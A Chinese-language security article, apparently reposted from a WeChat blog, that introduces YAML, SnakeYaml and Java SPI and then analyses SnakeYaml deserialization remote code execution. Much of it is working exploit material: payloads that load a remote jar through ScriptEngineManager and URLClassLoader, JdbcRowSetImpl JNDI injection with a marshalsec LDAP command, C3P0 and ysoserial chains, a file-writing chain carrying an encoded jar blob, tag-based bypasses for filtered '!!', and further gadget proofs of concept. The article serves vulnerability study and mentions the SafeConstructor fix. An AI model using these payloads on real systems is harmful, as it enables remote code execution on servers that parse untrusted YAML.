YAML 基本语法
YAML,YAML 是"YAML Ain’t a Markup Language"(YAML不是一种标记语言)的递归缩写, 是一个可读性高、用来表达数据序列化的格式,类似于XML但比XML更简洁。
YAML的语法和其他高级语言类似, 并且可以简单表达清单、散列表,标量等资料形态。它使用空白符号缩进和大量依赖外观的特色, 特别适合用来表达或编辑数据结构、各种配置文件、倾印调试内容、文件大纲(例如: 许多电子邮件标题格式和YAML非常接近).
格式
YAML 具体使用,首先YAML中允许表示三种格式,分别是:常量值、对象和数组。例如:
# 即表示url属性值;
url: http://www.yiibai.com
# 即表示server.host属性的值;
server:
host: http://www.yiibai.com
# 数组,即表示server为[a,b,c]
server:
- 120.168.0.21
- 120.168.0.22
- 120.168.0.23
# 常量
pi: 3.14 # 定义一个数值3.14
hasChild: true # 定义一个boolean值
name: '你好YAML' # 定义一个字符串
注释
和properties文件格式相同,YAML使用#作为注释开始且只有行注释.
YAML基本格式要求:
对象
key:
demo1: val1
demo2: val2
数组
demo:
- val1
- val2
或者
-
- val1
- val2 # [[val1, val2]]
相对复杂的写法, 表示是 companies 属性是一个数组, 每一个数组元素又是由id, name, price三个属性构成; 数组也可以使用流式(flow)的方式表示.
companies:
-
id: 1
name: company1
price: 200W
-
id: 2
name: company2
price: 500W
常量
YAML 中提供了多种常量结构, 包括: 整数, 浮点数, 字符串, NULL, 日期, 布尔, 时间.
boolean:
- TRUE #true,True都可以
- FALSE #false,False都可以
float:
- 3.14
- 6.8523015e+5 #可以使用科学计数法
int:
- 123
- 0b1010_0111_0100_1010_1110 #二进制表示
null:
nodeName: 'node'
parent: ~ #使用~表示null
string:
- 哈哈
- 'Hello world' #可以使用双引号或者单引号包裹特殊字符
- newline
newline2 #字符串可以拆成多行,每一行会被转化成一个空格
date:
- 2018-07-17 #日期必须使用ISO 8601格式,即yyyy-MM-dd
datetime:
- 2018-07-17T19:02:31+08:00 #时间使用ISO 8601格式,时间和日期之间使用T连接,最后使用+代表时区
SnakeYaml 简介
Snakeyaml 包主要用来解析 yaml 格式的内容, yaml 语言比普通的 xml 与 properties 等配置文件的可读性更高,像是 Spring 系列就支持 yaml 的配置文件,而SnakeYaml是一个完整的YAML1.1规范Processor,支持UTF-8/UTF-16,支持Java对象的序列化/反序列化,支持所有YAML定义的类型。
Yaml语法参考:https://www.yiibai.com/yaml
Spring配置文件经常遇到。
推荐一个yml文件转yaml字符串的地址,网上部分POC是通过yml文件进行本地测试的,实战可能用到的更多的是yaml字符串。https://www.345tool.com/zh-hans/formatter/yaml-formatter
转换流程图
SnakeYaml 使用
环境搭建
在Maven项目中的pom.xml文件添加依赖:
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.27</version>
</dependency>
常用方法
String dump(Object data)
将Java对象序列化为YAML字符串.
void dump(Object data, Writer output)
将Java对象序列化为YAML流.
String dumpAll(Iterator<? extends Object> data)
将一系列Java对象序列化为YAML字符串.
void dumpAll(Iterator<? extends Object> data, Writer output)
将一系列Java对象序列化为YAML流.
String dumpAs(Object data, Tag rootTag, DumperOptions.FlowStyle flowStyle)
将Java对象序列化为YAML字符串.
String dumpAsMap(Object data)
将Java对象序列化为YAML字符串.
<T> T load(InputStream io)
解析流中唯一的YAML文档, 并生成相应的Java对象.
<T> T load(Reader io)
解析流中唯一的YAML文档, 并生成相应的Java对象.
<T> T load(String yaml)
解析字符串中唯一的YAML文档, 并生成相应的Java对象.
Iterable<Object> loadAll(InputStream yaml)
解析流中的所有YAML文档, 并生成相应的Java对象.
Iterable<Object> loadAll(Reader yaml)
解析字符串中的所有YAML文档, 并生成相应的Java对象.
Iterable<Object> loadAll(String yaml)
解析字符串中的所有YAML文档, 并生成相应的Java对象.
序列化与反序列化
主要关注序列化与反序列化
SnakeYaml提供了Yaml.dump()和Yaml.load()两个函数对yaml格式的数据进行序列化和反序列化。
序列化
package org.example;
import org.yaml.snakeyaml.Yaml;
class User {
public String name;
public void setName(String name) {
this.name = name;
}
public String getName() {
return name;
}
}
public class App
{
public static void main( String[] args )
{
User user = new User();
user.setName("xiaobei");
Yaml yaml = new Yaml();
String dump = yaml.dump(user);
System.out.println(dump);
}
}
这里 !! 用于强制类型转化,!!org.example.User 是将该对象转为org.example.User 类, 如果没有 !! 则就是个 key 为字符串的 Map ,其实这个和Fastjson的@type有着异曲同工之妙,用于指定反序列化的全类名.
反序列化
再来一段反序列化代码,主要是在各个方法中都添加了print,来看一下反序列化时会触发这个类的哪些方法
User.java
package org.example;
public class User {
String name;
int age;
public User() {
System.out.println("User构造函数");
}
public String getName() {
System.out.println("User.getName");
return name;
}
public void setName(String name) {
System.out.println("User.setName");
this.name = name;
}
public String getAge() {
System.out.println("User.getAge");
return name;
}
public void setAge(String name) {
System.out.println("User.setAge");
this.name = name;
}
}
App.java
package org.example;
import org.yaml.snakeyaml.Yaml;
public class App
{
public static void main( String[] args )
{
Deserialize();
}
public static void Deserialize(){
String s = "!!org.example.User2 {name: xiaobei, age: 18}";
Yaml yaml = new Yaml();
User user = yaml.load(s);
}
}
反序列化过程中会触发setXX方法和构造方法。注意:在反序列化时候必须确保被反序列化对象的类型修饰符为 public ,否则会反序列化爆异常。
Java SPI 机制
简介
Java SPI机制是Java提供的一套用来被第三方实现或者扩展的API,它可以用来启动框架扩展和替换组件。
常见的SPI有JDBC、Spring、Spring Boot相关starter组件、Dubbo、JNDI、日志接口等.
SPI全称Service Provider Interface,是Java提供的一套用来被第三方实现或者扩展的接口,它可以用来启用框架扩展和替换组件。SPI的作用就是为这些被扩展的API寻找服务实现。
API (Application Programming Interface)在大多数情况下,都是实现方制定接口并完成对接口的实现,调用方仅仅依赖接口调用,且无权选择不同实现。从使用人员上来说,API 直接被应用开发人员使用。
SPI (Service Provider Interface)是调用方来制定接口规范,提供给外部来实现,调用方在调用时则选择自己需要的外部实现。从使用人员上来说,SPI 被框架扩展人员使用。
也就是说,SPI是一种服务发现机制,它是通过在CLASSPATH路径下的META-INF/services文件夹查找文件,然后自动加载文件里所定义的类,相当于动态的为某个接口(API)寻找服务实现;也就是说,我们可以通过在META-INF/services下创建一个以服务接口命名的文件,这个文件里面的内容就是这个接口的具体实现类的完整类名,在加载这个接口的时候就会实例化这里面写上的那个类名。
使用介绍
当服务提供者提供了接口的一种具体实现后, 在jar包的META-INF/services目录下创建一个以"包名 + 接口名"为命名的文件,内容为实现该接口的类的名称.
接口实现类所在的jar包放在主程序的classpath中.
主程序通过java.util.ServiceLoder动态装载实现模块,通过在META-INF/services目录下的配置文件找到实现类的类名,利用反射动态把类加载到JVM.
实现原理
程序会通过java.util.ServiceLoader动态装载实现模块,在META-INF/services目录下的配置文件中寻找实现类的类名,再通过Class.forName加载进来,再通过newInstance()来创建对象,并且存到缓存和列表里面。
DataSoure(服务接口)
package MySPI;
public interface DataSource {
void Driver();
}
Mysql服务提供者
package MySPI;
public class Mysql implements DataSource{
@Override
public void Driver() {
System.out.println("This is Mysql DataSource");
}
}
Oracle服务提供者
package MySPI;
public class Oracle implements DataSource{
@Override
public void Driver() {
System.out.println("This is Oracle DataSource");
}
}
Mssql服务提供者
package MySPI;
public class Mssql implements DataSource{
@Override
public void Driver() {
System.out.println("This is Mssql DataSource");
}
}
SPIUsage(模拟使用者)
package MySPI;
import java.util.Iterator;
import java.util.ServiceLoader;
public class SPIUseage {
public static void main(String[] args) {
ServiceLoader<DataSource> load = ServiceLoader.load(DataSource.class);
Iterator<DataSource> iterator = load.iterator();
while(iterator.hasNext()){
iterator.next().Driver();
}
}
}
服务列表文件
需要注意的是这里由于是Maven项目,故我们的META-INF以及serivces文件夹还有服务列表文件都是放到resources目录下。
测试使用
原理分析
跟进 ServiceLoad.load(Class service) 方法, 其先创建一个 ClassLoader ,接着继续调用 ServiceLoad.load(Class service, ClassLoader loader) .
接着创建一个 ServiceLoader 对象
在创建 ServiceLoader 对象时候会调用 reload 方法,在 reload 方法会创建一个 LazyIterator 的实例对象.
在 LazyIterator 对象中有两个参数,分别是:
返回一个 LazyIterator 的实例,如其名字一样,这是一个延迟加载的迭代器,然后返回到主函数我们进行迭代。
在遍历对象前我们会先通过hasNext方法判断是否存在
跟入java.util.ServiceLoader.LazyIterator#hasNext方法
这里的java.util.ServiceLoader#parse方法完成服务提供者的解析
可以看到实际上就是解析每行获得的服务提供者。
下面我们看一下实际调用时候的流程
其实就是读取 META-INF/services/包名.接口名 文件,然后遍历文件中每一个实现了服务接口的服务提供者类名,通过反射创建实例对象,并存到服务提供者列表里面。流程下来我们知道了如果 load 可控加载恶意的接口实现类。然后控制 Jar 包中的 META-INF/services 目录中的SPI配置文件,我们就可以服务器通过SPI机制调用恶意类达到恶意代码执行的效果。
RCE Demo
如果服务提供者的接口中存在RCE,则我们跌倒调用的时候会导致RCE触发。
Snakeyaml的反序列化方式
无构造方法和setter方法
无构造方法和setter方法情况下snakeyaml将使用反射的方式自动赋值。
package com.SnakeYamlSec;
public class ModelA {
public int a;
public int b;
}
使用如下方法反序列化
Yaml yaml = new Yaml();
ModelA a = (ModelA) yaml.load("!!com.SnakeYamlSec.ModelA {a: 5, b: 0}") ;
System.out.println(yaml.dump(a));
将反序列化成功。
存在构造方法
package com.SnakeYamlSec;
public class ModelB {
public int a;
public int b;
public ModelB(int a,int b){
this.a = a;
this.b = b;
}
}
使用如下方式反序列化
ModelB b = (ModelB) yaml.load("!!com.SnakeYamlSec.ModelB [5 , 0 ]") ;
System.out.println(yaml.dump(b));
这里的[ ]是调用构造函数的一个标志,在构造函数中下断点,也能够成功调到。
需要注意 snakeyaml 反序列化时,如果类中的成员变量全为私有将会失败(调试得知)。
存在setter方法
package com.SnakeYamlSec;
public class ModelC {
public int a;
public void setInput(int a){
this.a = a;
}
}
ModelC c = (ModelC) yaml.load("!!com.zlg.SnakeYaml.ModelC {input : 5}") ;
System.out.println(yaml.dump(c));
使用此方式在反序列化过程中会调用setter方法,其YAML写法和无构造函数的方式写法差不多,比如要调用setInput函数,把set去掉将后面单词全部小写后,后面值就是传入setInput的参数就可以调用,其实Java中很多组件中都会存在类似操作,即判断目标类的相关属性是否存在setter方法,如果存在优先考虑使用setter方法。
到此为止,意味着snakeyaml可以利用fastjson和Jackson的所有利用链(反之不一定行),并且还没有autotype的限制。
ScriptEngineManager反序列化利用
攻击复现
网上最多的一个PoC就是基于javax.script.ScriptEngineManager的利用链通过URLClassLoader实现的代码执行。Github上已经有现成的利用项目,可以更改好项目代码部署在web上即可。所以说SnakeYaml通常的一个利用条件是需要出网的。该项目中执行的命令在Windows下不适用,我们需要进行需改,比如加一段弹计算器的代码
编译打包
之后在该目录开一个web服务
更改poc
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://127.0.0.1:8000/yaml-payload.jar"]
]]
]
收到HTTP请求并成功弹出计算器
调试分析
YAML解析部分
下面调试分析一下整个流程,在yaml.load(s)处下断点
首先通过 StringReader 处理我们传入的字符串,PoC存储在StreamReader的this.stream字段值里。
上面主要是对输入的payload进行赋值与简单处理的操作,之后进入loadFromReader(new StreamReader(yaml), Object.class)方法中,该方法内逻辑如下
首先会对我们传入的payload进行处理,封装成Composer对象。
这里实际上还有一个细节点,那就是new ParserImpl的操作
这里注意 !! -> tag:yaml.org,2002: 后续也会对我们传入的 payload 进行字符串替换的操作。
之后调用BaseConstructor#setComposer()方法,对Composer进行赋值,最终进入BaseConstructor#getSingleData(type)方法内,跟进后会调用this.composer.getSingleNode()方法对我们传入的payload进行处理,会把!!变成tagxx一类的标识
这个在浅蓝师傅的文章中也有提到过,对于一些yaml常用的set map等类型都是一个tag,属于是在过滤掉 !! 的情况下可以通过这种 tag 形式去进行Bypass,详细的思路可参考浅蓝师傅的文章。
public static final String PREFIX = "tag:yaml.org,2002:";
public static final Tag YAML = new Tag("tag:yaml.org,2002:yaml");
public static final Tag MERGE = new Tag("tag:yaml.org,2002:merge");
public static final Tag SET = new Tag("tag:yaml.org,2002:set");
public static final Tag PAIRS = new Tag("tag:yaml.org,2002:pairs");
public static final Tag OMAP = new Tag("tag:yaml.org,2002:omap");
public static final Tag BINARY = new Tag("tag:yaml.org,2002:binary");
public static final Tag INT = new Tag("tag:yaml.org,2002:int");
public static final Tag FLOAT = new Tag("tag:yaml.org,2002:float");
public static final Tag TIMESTAMP = new Tag("tag:yaml.org,2002:timestamp");
public static final Tag BOOL = new Tag("tag:yaml.org,2002:bool");
public static final Tag NULL = new Tag("tag:yaml.org,2002:null");
public static final Tag STR = new Tag("tag:yaml.org,2002:str");
public static final Tag SEQ = new Tag("tag:yaml.org,2002:seq");
public static final Tag MAP = new Tag("tag:yaml.org,2002:map");
而 tag 具体的替换以及整个payload重新组合的逻辑在ParserImpl#parseNode()方法中。
继续回到 loadFromReader 跟进到constructor.getSingleData
具体的处理逻辑比较复杂,调试起来也比较费劲,而且它是一位一位进行处理,所以说这里我就把具体的处理过程跳过了,简单放张截图
然后调用 constructDocument ,跟进 constructDocument , 会调用constructObject来获取一个Object对象
跟进该方法, 进一步调用 constructObjectNoCheck .
跟进 constructObjectNoCheck 方法.
接着跟进construct.construct方法
这里会调用 this.getConstructor
这里getConstructor方法所做的事情就是获取类的构造方法
跟进去发现继续调用 getClassForNode ,在该方法中获取了name的值为javax.script.ScriptEngineManager,然后调用getClassForName对name进行传入获取cl的class对象
跟进 getClassForName , 在这里使用反射创建了一个javax.script.ScriptEngineManager对象的具体实现.
接着回到上面的 construct 处继续分析
这里调用完 getContructor 方法后将调用该返回对象的 construct 方法,继续跟进
该 constructor 方法逻辑如上图所示,注意这里 Constructor.this.newInstance 方法调用
远程恶意对象创建
在 newInstance 方法中会获取 node 的类型(这里就是我们自定义类型),然后通过反射获取该类的构造方法,然后设置访问权限并提供构造方法创建实例对象,底层使用的是Java反射机制,这里直接看反射调用的方法public javax.script.ScriptEngineManager(java.lang.ClassLoader)
这里调用了return getServiceLoader(loader);,接着就是ServiceLoader.load(),对我们自定义的服务(SPI)加载器进行初始化,可以看到这部分就是SPI机制的实现
这时候我们再看Github下载的Payload项目,可以发现这个项目实际上就是一个实现了ScriptEngineFactory接口的服务提供者,前面分析过,在next方法的时候会解析服务列表文件并创建服务提供者对象实例
回到javax.script.ScriptEngineManager#initEngines方法继续分析,在前面SPI机制中我们分析知道了在next的时候会进行反射加载服务提供者,我们只需要在此处下断即可
最后有一个细节点那就是真正发起请求这个Payload Jar的操作实际上是在java.util.ServiceLoader.LazyIterator#hasNextService方法中的parse(service, configs.nextElement());调用中进行的,此时的loader是一个UrlClassLoader,前面分析SPI机制流程的时候有说明在parse方法中才会进行服务列表文件的读取解析,也就是发生请求的地方
总结
整个调试下来感觉有点类似于在调 Fastjson ,前面一小半的部分是在做一些payload的处理,涉及到一些变量,比如tag、node、type这些,以及SnakeYaml内部对于 !! 去转换为tag这类的操作,然后就是一些数据的流向,需要仔细观察;后半部分就是整个漏洞的一个触发,整体的一个思路就是先反射构造对象。
在构造时候会触发该类的 构造方法 、 set系列方法 ,所以,通常我们将 命令执行代码 写在构造函数内。
如果是利用ScriptEngineManager手法加载远程JAR的话流程就是分别获取ScriptEngineManager、URLClassLoader、URL的class对象,之后在construct方法内最终分别实例化了URL、URLClassLoader、ScriptEngineManager来造成远程代码执行。
漏洞修复
这个漏洞涉及全版本,只要反序列化内容可控,那么就可以去进行反序列化攻击
修复方案:加入new SafeConstructor()类进行过滤
package Snake;
import org.yaml.snakeyaml.Yaml;
import org.yaml.snakeyaml.constructor.SafeConstructor;
public class snaketest {
public static void main(String[] args) {
String context = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://127.0.0.1:9000/yaml-payload.jar\"]\n" +
" ]]\n" +
"]";
Yaml yaml = new Yaml(new SafeConstructor());
yaml.load(context);
}
}
JdbcRowSetImpl
!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: 'ldap://127.0.0.1:9999/Evil', autoCommit: true}
JNDI注入
首先本地生成恶意字节码并监听生成远程恶意类地址
使用marshalsec创建ldap服务引用远程恶意类
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#calc 9999
POC
package com.yamlAttack;
import org.yaml.snakeyaml.Yaml;
public class SnakeYamlGadgets
{
public static void main( String[] args )
{
Yaml yaml=new Yaml();
yaml.load("!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: 'ldap://127.0.0.1:9999/Evil', autoCommit: true}");
}
}
原理分析
这条反序列化链的原理和Fastjson中的JdbcRowSetImpl链基本上一模一样,都是因为反序列化还原会调用对象setter方法,这里反序列化调用setAutoCommit方法进而执行connect操作接着实现JNDI注入。
绕过!!被过滤
使用等价字符替换
!<tag:yaml.org,2002:javax.script.ScriptEngineManager> [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://127.0.0.1:8000/yaml-payload.jar"]
]]
]
import org.yaml.snakeyaml.Yaml;
public class ByPass {
public static void main(String[] args) {
Yaml yaml=new Yaml();
String payload="!<tag:yaml.org,2002:javax.script.ScriptEngineManager> [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://127.0.0.1:8000/yaml-payload.jar\"]\n" +
" ]]\n" +
"]";
yaml.load(payload);
}
}
自定义Tag前缀
%TAG ! tag:yaml.org,2002:
---
!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://127.0.0.1:8000/yaml-payload.jar"]
]]
]
// 记得不要漏了---
import org.yaml.snakeyaml.Yaml;
public class ByPass {
public static void main(String[] args) {
Yaml yaml=new Yaml();
// 定义!代表tag:yaml.org,2002:
String payload="%TAG ! tag:yaml.org,2002:\n"+
"---\n"+
"!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://127.0.0.1:8000/yaml-payload.jar\"]\n" +
" ]]\n" +
"]";
yaml.load(payload);
}
}
参考
https://yaml.org/spec/1.1/#id858600
不出网情况
C3P0链
Fastjson中可以用C3P0.WrapperConnectionPoolDataSource对HEX序列化字节码进而实现本地调用,snakeyaml同理。
// CommonsCollections5为反序列化链,具体情况视目标环境而定
java -jar ysoserial-0.0.5.jar CommonsCollections5 "calc" > 1.txt
将字节码文件转为16进制,传入payload中,即可进行恶意字节码加载
!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource
userOverridesAsString: 'HexAsciiSerializedMap:16进制数据;'
POC
public class SnakeYaml {
public static void main(String[] args) {
String payload = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" +
"userOverridesAsString: 'HexAsciiSerializedMap:16进制数据;'";
Yaml yaml = new Yaml();
yaml.load(payload);
}
}
本地写入Jar实现加载Payload
其实snakeyaml和fastjson基本上差不多,只是序列化数据表现形式存在区别,不过相关特性高度相似,所以fastjson中大部分利用链都可以转化为snakeyaml形式
{
"@type": "java.lang.AutoCloseable",
"@type": "sun.rmi.server.MarshalOutputStream",
"out": {
"@type": "java.util.zip.InflaterOutputStream",
"out": {
"@type": "java.io.FileOutputStream",
"file": "dst",
"append": "false"
},
"infl": {
"input": "eJwL8nUyNDJSyCxWyEgtSgUAHKUENw=="
},
"bufLen": 1048576
},
"protocolVersion": 1
}
Payload
!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File ["filePath"],false],!!java.util.zip.Inflater { input: !!binary base64 },1048576]]
filepath是写入路径,base64是我们要写入文件的base64编码
package snakeYaml;
import org.yaml.snakeyaml.Yaml;
public class SnakeYaml {
public static void main(String[] args) {
String payload = "!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File [\"./yaml-payload.jar\"],false],!!java.util.zip.Inflater { input: !!binary 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 },1048576]]\n";
Yaml yaml = new Yaml();
yaml.load(payload);
}
}
写入本地之后就可以通过ScriptEngineManager方式进行本地读取了
public class SnakeYaml {
public static void main(String[] args) {
String payload = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"file:///yaml-payload.jar\"]\n" +
" ]]\n" +
"]";
Yaml yaml = new Yaml();
yaml.load(payload);
}
}
整体思路其实就是一套组合拳,核心利用链还是前面的ScriptEngineManager。
Other Gadgets
以下利用链来自于Sentiment师傅文章。
Spring PropertyPathFactoryBean
依赖
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-beans</artifactId>
<version>5.3.23</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>5.3.23</version>
</dependency>
POC
public static void main(String[] args) throws Error ,Exception{
String poc = "!!javax.management.BadAttributeValueExpException [!!org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding [\"foo\",!!javax.naming.Reference [foo, \"Exec\", \"http://localhost:7777/\"],!!org.apache.xbean.naming.context.WritableContext []]]";
Yaml yaml = new Yaml();
yaml.load(poc);
}
Apache Commons Configuration
依赖
<dependency>
<groupId>commons-configuration</groupId>
<artifactId>commons-configuration</artifactId>
<version>1.10</version>
</dependency>
POC
public static void main(String[] args) throws Error ,Exception{
String poc = "\n" +
" ? !!org.apache.commons.configuration.ConfigurationMap [!!org.apache.commons.configuration.JNDIConfiguration [!!javax.naming.InitialContext [], \"ldap://localhost:9999/Execs\"]]";
Yaml yaml = new Yaml();
yaml.load(poc);
}
C3P0 JndiRefForwardingDataSource
public static void main(String[] args) throws Error ,Exception{
String poc = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource\n" +
" jndiName: \"ldap://localhost:9999/Exec\"\n" +
" loginTimeout: 0";
Yaml yaml = new Yaml();
yaml.load(poc);
}
Resource
依赖
<dependency>
<groupId>org.eclipse.jetty</groupId>
<artifactId>jetty-jndi</artifactId>
<version>9.4.8.v20171121</version>
</dependency>
<dependency>
<groupId>org.eclipse.jetty</groupId>
<artifactId>jetty-plus</artifactId>
<version>9.4.8.v20171121</version>
</dependency>
<dependency>
<groupId>org.eclipse.jetty</groupId>
<artifactId>jetty-util</artifactId>
<version>9.4.8.v20171121</version>
</dependency>
POC
public static void main(String[] args) throws Error ,Exception{
String poc = "[!!org.eclipse.jetty.plus.jndi.Resource [\"__/obj\", !!javax.naming.Reference [\"foo\", \"Exec\", \"http://localhost:7777/\"]], !!org.eclipse.jetty.plus.jndi.Resource [\"obj/test\", !!java.lang.Object []]]\n";
Yaml yaml = new Yaml();
yaml.load(poc);
}
其它可能切入点
Context接口子类
DataSource接口子类
javax.naming.spi.ObjectFactory子类
com.sun.jndi.ldap.LdapReferralContext#LdapReferralContext
com.sun.jndi.ldap.LdapCtx#LdapCtx(java.lang.String, java.lang.String, int, java.util.Hashtable<?,?>, boolean)
javax.naming.ldap.InitialLdapContext#InitialLdapContext(java.util.Hashtable<?,?>, javax.naming.ldap.Control[])
com.sun.jndi.cosnaming.CNCtx#CNCtx(java.util.Hashtable<?,?>)
com.sun.jndi.rmi.registry.RegistryContext#RegistryContext(java.lang.String, int, java.util.Hashtable<?,?>)
参考
总结使用SnakeYAML解析与序列化YAML相关__小鱼塘的博客-CSDN博客_snakeyaml用法
Java安全之SnakeYaml反序列化分析 - nice_0e3 - 博客园
Java SnakeYaml反序列化漏洞 | s1mple
Java SnakeYaml反序列化学习 - R0ser1 - 博客园
Java常用机制 - SPI机制详解 | Java 全栈知识体系
Java安全之SnakeYaml反序列化分析 - 跳跳糖
Java SnakeYaml反序列化 · BlBana's BlackHouse
SnakeYaml反序列化及不出网利用
Java安全之SnakeYaml反序列化分析
Java-SnakeYaml反序列化漏洞
理解的Java中SPI机制
文章来源: https://mp.weixin.qq.com/s?__biz=Mzk0ODUxNzgyOQ==&mid=2247484038&idx=1&sn=e27947ee4f359e33ad45fbea06c555fd&chksm=c3672c2cf410a53a9fd863d46340d69e09680c98daf8066f193d3ba979823a2fde879e84a9ee&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh